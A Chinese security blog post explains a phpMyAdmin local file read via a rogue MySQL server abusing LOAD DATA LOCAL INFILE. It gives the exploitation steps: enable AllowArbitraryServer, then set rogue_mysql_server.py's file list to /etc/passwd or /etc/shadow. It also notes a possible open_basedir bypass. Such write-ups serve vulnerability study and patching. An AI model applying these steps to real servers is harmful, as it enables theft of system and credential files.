51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

phpMyAdmin本地文件读取漏洞

0x1 漏洞分析

在最新的phpMyAdmin上修复了几个漏洞,其中一个是:

本地文件包含(CVE-2018-19968) -至少从4.0到4.8.3的phpMyAdmin版本就有一个本地文件包含漏洞,可允许远程攻击者通>过转换功能从服务器上的本地文件中获取敏感内容。 "攻击者必须能够访问phpMyAdmin配置存储表,尽管可以在攻击者访问的任何数据库中轻松创建这些表。攻击者必须拥有有效的凭>据才能登录phpMyAdmin; 此漏洞不允许攻击者绕过登录系统。"

这个漏洞如果我本以为是话是之前mysql的 LOAD DATA INFILE 的问题,导致如果phpMyAdmin开启任意主机链接的话,可以导致读取本地文件 ,关于LOAD DATA INFILE本地文件读取 可以参考下这篇文章,写的很完整。

结果发现在最新版的phpMyAdmin上进行测试,依然可以读文件,想了一下,这个根本的修复方式还是需要在php的myqsl扩展中进行修复。 所以不单单是pma的问题,如果有的shell的情况下可以通过自写数据库链接脚本来达到读文件的效果,理论上来说也可以用该方法绕过php的open_basedir。

关于LOAD DATA INFILE的大概解释:

LOAD DATA INFILE其实是一个mysql客户端的动作,不受mysql server的文件安全模式和文件权限的影响,是服务端向客户端发送一个读文件的请求,然后客户端再将文件发送过去。

0x2 漏洞利用

先配置一下环境,先下载最新版的phpmyadmin 然后修改/phpMyAdmin-4.8.4-all-languages/libraries/config.default.php

$cfg['AllowArbitraryServer'] = true; //false改为true

phpMyAdmin本地文件读取漏洞

配置完成可即可发现,服务器的内容可以自己进行填写,
然后利用rogue_mysql_server.py进行文件的读取。 修改脚本中的

filelist = (
#    r'c:\boot.ini',
    r'/etc/passwd', #此处改为需要读取的文件
#    r'c:\windows\system32\drivers\etc\hosts',
#    '/etc/passwd',
#    '/etc/shadow',
)

phpMyAdmin本地文件读取漏洞

脚本跑起来之后进行连接,账号密码随便填写即可
结果会保存在mysql.log中

drwxr-xr-x.   2 root root 4.0K 11月 28 10:01 xx
dr-xr-x---.  35 root root 4.0K 11月 28 10:01 .
dr-xr-xr-x.  18 root root 4.0K 11月 29 03:16 ..
drwxr-xr-x.  27 root root 4.0K 11月 29 07:50 tools
-rw-------.   1 root root  21K 12月 12 16:50 .bash_history
-rw-r--r--.   1 root root 327K 12月 12 16:57 mysql.log
[root@test-data ~]#

phpMyAdmin本地文件读取漏洞 phpMyAdmin本地文件读取漏洞

赞(0)
未经允许不得转载:工具盒子 » phpMyAdmin本地文件读取漏洞